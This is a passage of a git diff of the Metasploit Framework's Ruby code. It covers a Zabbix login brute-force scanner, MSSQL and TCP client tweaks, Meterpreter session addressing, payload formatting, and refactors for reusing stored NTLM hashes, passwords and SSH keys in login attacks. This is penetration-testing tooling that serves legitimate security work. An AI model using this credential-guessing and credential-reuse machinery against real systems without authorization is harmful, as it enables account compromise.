Rex::ConnectionError, ::Timeout::Error + return "Unable to connect to target" + end + + false + end + + # Sends a HTTP request with Rex + # + # @param (see Rex::Proto::Http::Resquest#request_raw) + # @return [Rex::Proto::Http::Response] The HTTP response + def send_request(opts) + cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => self}, ssl, ssl_version, proxies) + configure_http_client(cli) + cli.connect + req = cli.request_raw(opts) + res = cli.send_recv(req) + + # Found a cookie? Set it. We're going to need it. + if res && res.get_cookies =~ /zbx_sessionid=(\w*);/i + self.zsession = $1 + end + + res + end + + # Sends a login request + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Rex::Proto::Http::Response] The HTTP auth response + def try_credential(credential) + + data = "request=" + data << "&name=#{Rex::Text.uri_encode(credential.public)}" + data << "&password=#{Rex::Text.uri_encode(credential.private)}" + data << "&autologin=1" + data << "&enter=Sign%20in" + + opts = { + 'uri' => normalize_uri('index.php'), + 'method' => 'POST', + 'data' => data, + 'headers' => { + 'Content-Type' => 'application/x-www-form-urlencoded' + } + } + + send_request(opts) + end + + + # Tries to login to Zabbix + # + # @param credential [Metasploit::Framework::Credential] The credential object + # @return [Hash] + # * :status [Metasploit::Model::Login::Status] + # * :proof [String] the HTTP response body + def try_login(credential) + res = try_credential(credential) + if res && res.code == 302 + opts = { + 'uri' => normalize_uri('profile.php'), + 'method' => 'GET', + 'headers' => { + 'Cookie' => "zbx_sessionid=#{self.zsession}" + } + } + res = send_request(opts) + if (res && res.code == 200 && res.body.to_s =~ /<title>Zabbix .*: User profile<\/title>/) + return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.body} + end + end + + {:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.body} + end + + end + end + end +end + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb index 9db3cc34fc..44cd0cf424 100644 --- a/lib/metasploit/framework/mssql/client.rb +++ b/lib/metasploit/framework/mssql/client.rb @@ -51,8 +51,7 @@ module Metasploit # Send a prelogin packet and check that encryption is not enabled if mssql_prelogin() != ENCRYPT_NOT_SUP - print_error("Encryption is not supported") - return false + raise ::Rex::ConnectionError, "Encryption is not supported" end if windows_authentication diff --git a/lib/metasploit/framework/parsed_options/console.rb b/lib/metasploit/framework/parsed_options/console.rb index ff9f75a73f..4bdf78b924 100644 --- a/lib/metasploit/framework/parsed_options/console.rb +++ b/lib/metasploit/framework/parsed_options/console.rb @@ -60,7 +60,7 @@ class Metasploit::Framework::ParsedOptions::Console < Metasploit::Framework::Par options.console.quiet = true end - option_parser.on('-r', '--resource FILE', 'Execute the specified resource file') do |file| + option_parser.on('-r', '--resource FILE', 'Execute the specified resource file (- for stdin)') do |file| options.console.resources << file end diff --git a/lib/metasploit/framework/spec/untested_payloads.rb b/lib/metasploit/framework/spec/untested_payloads.rb index e6cc91fba1..fea2860e1a 100644 --- a/lib/metasploit/framework/spec/untested_payloads.rb +++ b/lib/metasploit/framework/spec/untested_payloads.rb @@ -44,7 +44,7 @@ module Metasploit untested_payloads_pathname = Pathname.new 'log/untested-payloads.log' if untested_payloads_pathname.exist? - tool_path = 'tools/missing-payload-tests.rb' + tool_path = 'tools/missing_payload_tests.rb' $stderr.puts "Untested payload detected. Running `#{tool_path}` to see contexts to add to " \ "`spec/modules/payloads_spec.rb` to test those payload ancestor reference names." diff --git a/lib/metasploit/framework/tcp/client.rb b/lib/metasploit/framework/tcp/client.rb index ce001f3a30..9789d5d2e7 100644 --- a/lib/metasploit/framework/tcp/client.rb +++ b/lib/metasploit/framework/tcp/client.rb @@ -89,7 +89,8 @@ module Metasploit 'SSL' => dossl, 'SSLVersion' => opts['SSLVersion'] || ssl_version, 'Proxies' => proxies, - 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i + 'Timeout' => (opts['ConnectTimeout'] || connection_timeout || 10).to_i, + 'Context' => { 'Msf' => framework, 'MsfExploit' => framework_module } ) # enable evasions on this socket set_tcp_evasions(nsock) diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index a779bd249b..64e4bad848 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -323,9 +323,9 @@ class Meterpreter < Rex::Post::Meterpreter::Client nhost = find_internet_connected_address original_session_host = self.session_host - # If we found a better IP address for this session, change it up - # only handle cases where the DB is not connected here - if !(framework.db && framework.db.active) + # If we found a better IP address for this session, change it + # up. Only handle cases where the DB is not connected here + if nhost && !(framework.db && framework.db.active) self.session_host = nhost end @@ -461,6 +461,8 @@ protected # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes # @return [String] The address from which this host reaches the # internet, as ASCII. e.g.: "192.168.100.156" + # @return [nil] If there is an interface with an address that matches + # {#session_host} def find_internet_connected_address ifaces = self.net.config.get_interfaces().flatten rescue [] @@ -497,7 +499,9 @@ protected end if !nhost - # Find the first non-loopback address + # No internal address matches what we see externally and no + # interface has a default route. Fall back to the first + # non-loopback address non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } if non_loopback nhost = non_loopback.ip diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index b673377c3e..9bb1a7d7ae 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -15,7 +15,7 @@ module MeterpreterOptions OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), - OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]), + OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]), OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]) ], self.class) end diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb index 7266c8ba16..35f5ec96f3 100644 --- a/lib/msf/base/simple/auxiliary.rb +++ b/lib/msf/base/simple/auxiliary.rb @@ -151,19 +151,17 @@ protected rescue ::Exception => e mod.error = e mod.print_error("Auxiliary failed: #{e.class} #{e}") - elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) - else + if(e.class.to_s != 'Msf::OptionValidateError') mod.print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple.auxiliary.rb/ mod.print_error(" #{line}") end - elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0) end + elog("Auxiliary failed: #{e.class} #{e}", 'core', LEV_0) + dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) + mod.cleanup return @@ -184,3 +182,4 @@ end end end + diff --git a/lib/msf/base/simple/buffer.rb b/lib/msf/base/simple/buffer.rb index 3eeb044f6c..d786bafda6 100644 --- a/lib/msf/base/simple/buffer.rb +++ b/lib/msf/base/simple/buffer.rb @@ -25,6 +25,8 @@ module Buffer when 'raw' when 'num' buf = Rex::Text.to_num(buf) + when 'hex' + buf = Rex::Text.to_hex(buf, '') when 'dword', 'dw' buf = Rex::Text.to_dword(buf) when 'python', 'py' @@ -65,7 +67,7 @@ module Buffer def self.comment(buf, fmt = "ruby") case fmt when 'raw' - when 'num', 'dword', 'dw' + when 'num', 'dword', 'dw', 'hex' buf = Rex::Text.to_js_comment(buf) when 'ruby', 'rb', 'python', 'py' buf = Rex::Text.to_ruby_comment(buf) @@ -98,6 +100,7 @@ module Buffer 'csharp', 'dw', 'dword', + 'hex', 'java', 'js_be', 'js_le', diff --git a/lib/msf/base/simple/exploit.rb b/lib/msf/base/simple/exploit.rb index 14fd531152..389b336ed8 100644 --- a/lib/msf/base/simple/exploit.rb +++ b/lib/msf/base/simple/exploit.rb @@ -147,17 +147,7 @@ module Exploit exploit.error = e exploit.print_error("Exploit failed: #{e}") elog("Exploit failed (#{exploit.refname}): #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) - else - mod.print_error("Call stack:") - e.backtrace.each do |line| - break if line =~ /lib.msf.base.simple.exploit.rb/ - mod.print_error(" #{line}") - end - elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0) - end + dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3) end return driver.session if driver @@ -209,3 +199,4 @@ end end end + diff --git a/lib/msf/base/simple/payload.rb b/lib/msf/base/simple/payload.rb index 56014c2462..2a0ffb76ff 100644 --- a/lib/msf/base/simple/payload.rb +++ b/lib/msf/base/simple/payload.rb @@ -51,12 +51,13 @@ module Payload # Generate the payload e = EncodedPayload.create(payload, - 'BadChars' => opts['BadChars'], - 'MinNops' => opts['NopSledSize'], - 'Encoder' => opts['Encoder'], + 'BadChars' => opts['BadChars'], + 'MinNops' => opts['NopSledSize'], + 'Encoder' => opts['Encoder'], 'Iterations' => opts['Iterations'], 'ForceEncode' => opts['ForceEncode'], - 'Space' => opts['MaxSize']) + 'DisableNops' => opts['DisableNops'], + 'Space' => opts['MaxSize']) fmt = opts['Format'] || 'raw' diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index cfa37426b4..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -121,19 +121,17 @@ protected rescue ::Exception => e mod.error = e mod.print_error("Post failed: #{e.class} #{e}") - elog("Post failed: #{e.class} #{e}", 'core', LEV_0) - - if e.kind_of?(Msf::OptionValidateError) - dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) - else + if(e.class.to_s != 'Msf::OptionValidateError') mod.print_error("Call stack:") e.backtrace.each do |line| break if line =~ /lib.msf.base.simple.post.rb/ mod.print_error(" #{line}") end - elog("Call stack:\n#{$@.join("\n")}", 'core', LEV_0) end + elog("Post failed: #{e.class} #{e}", 'core', LEV_0) + dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) + mod.cleanup return @@ -156,3 +154,4 @@ end end end + diff --git a/lib/msf/core.rb b/lib/msf/core.rb index 7b44b365b4..b93efa2b23 100644 --- a/lib/msf/core.rb +++ b/lib/msf/core.rb @@ -75,6 +75,12 @@ require 'msf/http/jboss' # Kerberos Support require 'msf/kerberos/client' +# Java RMI Support +require 'msf/java/rmi/client' + +# Java JMX Support +require 'msf/java/jmx' + # Drivers require 'msf/core/exploit_driver' diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index aee43edfe2..963b66d288 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -49,6 +49,47 @@ module Auxiliary::AuthBrute @@max_per_service = nil end + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ntlm_hash' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ntlm_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'password' + # + # @yieldparam [Metasploit::Credential::Core] + def each_password_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Yields each {Metasploit::Credential::Core} in the {Mdm::Workspace} with + # a private type of 'ssh_key' + # + # @yieldparam [Metasploit::Credential::Core] + def each_ssh_cred + creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) + creds.each do |cred| + yield cred + end + end + + # Checks whether we should be adding creds from the DB to a CredCollection + # + # @return [TrueClass] if any of the datastore options for db creds are selected and the db is active + # @return [FalseClass] if none of the datastore options are selected OR the db is not active + def prepend_db_creds? + (datastore['DB_ALL_CREDS'] || datastore['DB_ALL_PASS'] || datastore['DB_ALL_USERS']) && framework.db.active + end + # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing NTLMHashes # from the database. This allows the users to use the DB_ALL_CREDS option. # @@ -56,10 +97,9 @@ module Auxiliary::AuthBrute # the credential collection to add to # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection def prepend_db_hashes(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::NTLMHash' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_ntlm_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection @@ -68,14 +108,13 @@ module Auxiliary::AuthBrute # This method takes a {Metasploit::Framework::CredentialCollection} and prepends existing SSHKeys # from the database. This allows the users to use the DB_ALL_CREDS option. # - # @param cred_collection [Metasploit::Framework::CredentialCollection] + # @param [Metasploit::Framework::CredentialCollection] cred_collection # the credential collection to add to - # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection + # @return [Metasploit::Framework::CredentialCollection] cred_collection the modified Credentialcollection def prepend_db_keys(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::SSHKey' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_ssh_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection @@ -88,15 +127,27 @@ module Auxiliary::AuthBrute # the credential collection to add to # @return [Metasploit::Framework::CredentialCollection] the modified Credentialcollection def prepend_db_passwords(cred_collection) - if datastore['DB_ALL_CREDS'] && framework.db.active - creds = Metasploit::Credential::Core.joins(:private).where(metasploit_credential_privates: { type: 'Metasploit::Credential::Password' }, workspace_id: myworkspace.id) - creds.each do |cred| - cred_collection.prepend_cred(cred.to_credential) + if prepend_db_creds? + each_password_cred do |cred| + process_cred_for_collection(cred_collection,cred) end end cred_collection end + # Takes a {Metasploit::Credential::Core} and converts it into a + # {Metasploit::Framework::Credential} and processes it into the + # {Metasploit::Framework::CredentialCollection} as dictated by the + # selected datastore options. + # + # @param [Metasploit::Framework::CredentialCollection] cred_collection the credential collection to add to + # @param [Metasploit::Credential::Core] cred the credential to process + def process_cred_for_collection(cred_collection, cred) + msf_cred = cred.to_credential + cred_collection.prepend_cred(msf_cred) if datastore['DB_ALL_CREDS'] + cred_collection.add_private(msf_cred.private) if datastore['DB_ALL_PASS'] + cred_collection.add_public(msf_cred.public) if datastore['DB_ALL_USERS'] + end # Checks all three files for usernames and passwords, and combines them into @@ -489,6 +540,13 @@ module Auxiliary::AuthBrute ::IO.select(nil,nil,nil,sleep_time) unless sleep_time == 0 end + # See #print_brute + def vprint_brute(opts={}) + if datastore['VERBOSE'] + print_brute(opts) + end + end + # Provides a consistant way to display messages about AuthBrute-mixed modules. # Acceptable opts are fairly self-explanitory, but :level can be tricky. # diff --git a/lib/msf/core/auxiliary/jtr.rb b/lib/msf/core/auxiliary/jtr.rb index b430f4b935..6140d35998 100644 --- a/lib/msf/core/auxiliary/jtr.rb +++ b/lib/msf/core/auxiliary/jtr.rb @@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']), OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']), OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']), + OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]), OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]), OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']), OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]), @@ -76,7 +77,7 @@ module Auxiliary::JohnTheRipper end # This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data - # out to a file and returns the {rex::quickfile} object. + # out to a file and returns the {Rex::Quickfile} object. # # @return [nilClass] if there is no active framework db connection # @return [Rex::Quickfile] if it successfully wrote the wordlist to a file diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index a7d10262a7..f3be9e6a1b 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -12,6 +12,38 @@ module Auxiliary::Report optionally_include_metasploit_credential_creation + def create_cracked_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def create_credential_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + + def invalidate_login(opts={}) + if active_db? + super(opts) + else + vprint_warning('No active DB -- Credential data will not be saved!') + end + end + # This method overrides the method from Metasploit::Credential to check for an active db def active_db? framework.db.active @@ -81,13 +113,11 @@ module Auxiliary::Report # # Report a client connection - # - # opts must contain - # :host the address of the client connecting - # :ua_string a string that uniquely identifies this client - # opts can contain - # :ua_name a brief identifier for the client, e.g. "Firefox" - # :ua_ver the version number of the client, e.g. "3.0.11" + # @param opts [Hash] report client information based on user-agent + # @option opts [String] :host the address of the client connecting + # @option opts [String] :ua_string a string that uniquely identifies this client + # @option opts [String] :ua_name a brief identifier for the client, e.g. "Firefox" + # @option opts [String] :ua_ver the version number of the client, e.g. "3.0.11" # def report_client(opts={}) return if not db @@ -125,13 +155,102 @@ module Auxiliary::Report framework.db.report_note(opts) end + # This Legacy method is responsible for creating credentials from data supplied + # by a module. This method is deprecated and the new Metasploit::Credential methods + # should be used directly instead. + # + # @param opts [Hash] the option hash + # @option opts [String] :host the address of the host (also takes a {Mdm::Host}) + # @option opts [Fixnum] :port the port of the connected service + # @option opts [Mdm::Service] :service an optional Service object to build the cred for + # @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key") + # @option opts [String] :proto Which transport protocol the service uses + # @option opts [String] :sname The 'name' of the service + # @option opts [String] :user The username for the cred + # @option opts [String] :pass The private part of the credential (e.g. password) def report_auth_info(opts={}) + print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!" return if not db - opts = { - :workspace => myworkspace, - :task => mytask - }.merge(opts) - framework.db.report_auth_info(opts) + raise ArgumentError.new("Missing required option :host") if opts[:host].nil? + raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?) + + if opts[:host].kind_of?(::Mdm::Host) + host = opts[:host].address + else + host = opts[:host] + end + + type = :password + case opts[:type] + when "password" + type = :password + when "hash" + type = :nonreplayable_hash + when "ssh_key" + type = :ssh_key + end + + case opts[:proto] + when "tcp" + proto = "tcp" + when "udp" + proto = "udp" + else + proto = "tcp" + end + + if opts[:service] && opts[:service].kind_of?(Mdm::Service) + port = opts[:service].port + proto = opts[:service].proto + service_name = opts[:service].name + host = opts[:service].host.address + else + port = opts.fetch(:port) + service_name = opts.fetch(:sname, nil) + end + + username = opts.fetch(:user, nil) + private = opts.fetch(:pass, nil) + + service_data = { + address: host, + port: port, + service_name: service_name, + protocol: proto, + workspace_id: myworkspace_id + } + + if self.type == "post" + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname + } + else + credential_data = { + origin_type: :service, + module_fullname: self.fullname + } + credential_data.merge!(service_data) + end + + unless private.nil? + credential_data[:private_type] = type + credential_data[:private_data] = private + end + + unless username.nil? + credential_data[:username] = username + end + + credential_core = create_credential(credential_data) + + login_data ={ + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) end def report_vuln(opts={}) @@ -352,7 +471,7 @@ module Auxiliary::Report cred_opts = opts.merge(:workspace => myworkspace) cred_host = myworkspace.hosts.find_by_address(cred_opts[:host]) unless opts[:port] - possible_services = myworkspace.services.find_all_by_host_id_and_name(cred_host[:id],cred_opts[:sname]) + possible_services = myworkspace.services.where(host_id: cred_host[:id], name: cred_opts[:sname]) case possible_services.size when 0 case cred_opts[:sname].downcase @@ -393,7 +512,7 @@ module Auxiliary::Report end end if opts[:collect_session] - session = myworkspace.sessions.find_all_by_local_id(opts[:collect_session]).last + session = myworkspace.sessions.where(local_id: opts[:collect_session]).last if !session.nil? cred_opts[:source_id] = session.id cred_opts[:source_type] = "exploit" diff --git a/lib/msf/core/data_store.rb b/lib/msf/core/data_store.rb index 5ffbf81bce..f234e486f7 100644 --- a/lib/msf/core/data_store.rb +++ b/lib/msf/core/data_store.rb @@ -43,6 +43,13 @@ class DataStore < Hash super(find_key_case(k), v) end + # + # Case-insensitive wrapper around delete + # + def delete(k) + super(find_key_case(k)) + end + # # Updates a value in the datastore with the specified name, k, to the diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 45e7f48ff7..78003f8f8c 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -223,7 +223,7 @@ class Export # Authors sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_authors>\n") - m.authors.find(:all).each do |d| + m.authors.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -234,7 +234,7 @@ class Export # Refs sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_refs>\n") - m.refs.find(:all).each do |d| + m.refs.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -246,7 +246,7 @@ class Export # Archs sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_archs>\n") - m.archs.find(:all).each do |d| + m.archs.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -258,7 +258,7 @@ class Export # Platforms sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_platforms>\n") - m.platforms.find(:all).each do |d| + m.platforms.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -270,7 +270,7 @@ class Export # Targets sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_targets>\n") - m.targets.find(:all).each do |d| + m.targets.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -281,7 +281,7 @@ class Export # Actions sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_actions>\n") - m.actions.find(:all).each do |d| + m.actions.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -292,7 +292,7 @@ class Export # Mixins sub-elements # @todo https://www.pivotaltracker.com/story/show/48451001 report_file.write(" <module_mixins>\n") - m.mixins.find(:all).each do |d| + m.mixins.each do |d| d.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") @@ -319,7 +319,7 @@ class Export # Host details sub-elements report_file.write(" <host_details>\n") - h.host_details.find(:all).each do |d| + h.host_details.each do |d| report_file.write(" <host_detail>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -331,7 +331,7 @@ class Export # Host exploit attempts sub-elements report_file.write(" <exploit_attempts>\n") - h.exploit_attempts.find(:all).each do |d| + h.exploit_attempts.each do |d| report_file.write(" <exploit_attempt>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -343,7 +343,7 @@ class Export # Service sub-elements report_file.write(" <services>\n") - @services.find_all_by_host_id(host_id).each do |e| + @services.where(host_id: host_id).each do |e| report_file.write(" <service>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -355,7 +355,7 @@ class Export # Notes sub-elements report_file.write(" <notes>\n") - @notes.find_all_by_host_id(host_id).each do |e| + @notes.where(host_id: host_id).each do |e| report_file.write(" <note>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -367,13 +367,25 @@ class Export # Vulns sub-elements report_file.write(" <vulns>\n") - @vulns.find_all_by_host_id(host_id).each do |e| + @vulns.where(host_id: host_id).each do |e| report_file.write(" <vuln>\n") e.attributes.each_pair do |k,v| el = create_xml_element(k,v) report_file.write(" #{el}\n") end + # Notes attached to vulns instead of the host + report_file.write(" <notes>\n") + @notes.where(vuln_id: e.id).each do |note| + report_file.write(" <note>\n") + note.attributes.each_pair do |k,v| + el = create_xml_element(k,v) + report_file.write(" #{el}\n") + end + report_file.write(" </note>\n") + end + report_file.write(" </notes>\n") + # References report_file.write(" <refs>\n") e.refs.each do |ref| @@ -385,7 +397,7 @@ class Export # Vuln details sub-elements report_file.write(" <vuln_details>\n") - e.vuln_details.find(:all).each do |d| + e.vuln_details.each do |d| report_file.write(" <vuln_detail>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) @@ -398,7 +410,7 @@ class Export # Vuln attempts sub-elements report_file.write(" <vuln_attempts>\n") - e.vuln_attempts.find(:all).each do |d| + e.vuln_attempts.each do |d| report_file.write(" <vuln_attempt>\n") d.attributes.each_pair do |k,v| el = create_xml_element(k,v) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 2bc00061ee..b5cd0a9392 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -23,6 +23,10 @@ require 'msf/core/service_state' class Msf::DBManager extend Metasploit::Framework::Require + # Default proto for making new `Mdm::Service`s. This should probably be a + # const on `Mdm::Service` + DEFAULT_SERVICE_PROTO = "tcp" + autoload :Adapter, 'msf/core/db_manager/adapter' autoload :Client, 'msf/core/db_manager/client' autoload :Connection, 'msf/core/db_manager/connection' @@ -130,7 +134,7 @@ class Msf::DBManager # def check ::ActiveRecord::Base.connection_pool.with_connection { - res = ::Mdm::Host.find(:first) + res = ::Mdm::Host.first } end diff --git a/lib/msf/core/db_manager/client.rb b/lib/msf/core/db_manager/client.rb index 0e2834e444..9d09304906 100644 --- a/lib/msf/core/db_manager/client.rb +++ b/lib/msf/core/db_manager/client.rb @@ -36,7 +36,7 @@ module Msf::DBManager::Client ret = {} host = get_host(:workspace => wspace, :host => addr) - client = host.clients.find_or_initialize_by_ua_string(opts[:ua_string]) + client = host.clients.where(ua_string: opts[:ua_string]).first_or_initialize opts[:ua_string] = opts[:ua_string].to_s diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index 23c70b7803..640fba9a70 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -102,28 +102,28 @@ module Msf::DBManager::Cred # If duplicate usernames are okay, find by both user and password (allows # for actual duplicates to get modified updated_at, sources, etc) if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize else cred = service.creds.find_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") unless cred dcu = token[0].downcase cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype_and_pass(token[0] || "", ptype, token[1] || "") + cred = service.creds.where(user: token[0] || "", ptype: ptype, pass: token[1] || "").first_or_initialize end end end else # Create the cred by username only (so we can change passwords) if token[0].nil? or token[0].empty? - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize else cred = service.creds.find_by_user_and_ptype(token[0] || "", ptype) unless cred dcu = token[0].downcase cred = service.creds.find_by_user_and_ptype_and_pass( dcu || "", ptype, token[1] || "") unless cred - cred = service.creds.find_or_initialize_by_user_and_ptype(token[0] || "", ptype) + cred = service.creds.where(user: token[0] || "", ptype: ptype).first_or_initialize end end end diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb index 9f864ec296..025c4c81ab 100644 --- a/lib/msf/core/db_manager/exploit_attempt.rb +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -27,186 +27,152 @@ module Msf::DBManager::ExploitAttempt } end + # Create an `Mdm::ExploitAttempt` (and possibly an `Mdm::VulnAttempt`, if + # the `vuln` option is passed). + # + # @option (see #do_report_failure_or_success) + # @return (see #do_report_failure_or_success) def report_exploit_failure(opts) + return unless opts.has_key?(:refs) && !opts[:refs].blank? + host = opts[:host] || return - ::ActiveRecord::Base.connection_pool.with_connection { - wspace = opts.delete(:workspace) || workspace - mrefs = opts.delete(:refs) || return - host = opts.delete(:host) - port = opts.delete(:port) - prot = opts.delete(:proto) - svc = opts.delete(:service) - vuln = opts.delete(:vuln) - - timestamp = opts.delete(:timestamp) - freason = opts.delete(:fail_reason) - fdetail = opts.delete(:fail_detail) - username = opts.delete(:username) - mname = opts.delete(:module) - - # Look up the host as appropriate - if not (host and host.kind_of? ::Mdm::Host) - if svc.kind_of? ::Mdm::Service - host = svc.host - else - host = get_host( :workspace => wspace, :address => host ) - end - end - - # Bail if we dont have a host object - return if not host + wspace = opts[:workspace] || workspace + port = opts[:port] + prot = opts[:proto] || Msf::DBManager::DEFAULT_SERVICE_PROTO + svc = opts[:service] # Look up the service as appropriate if port 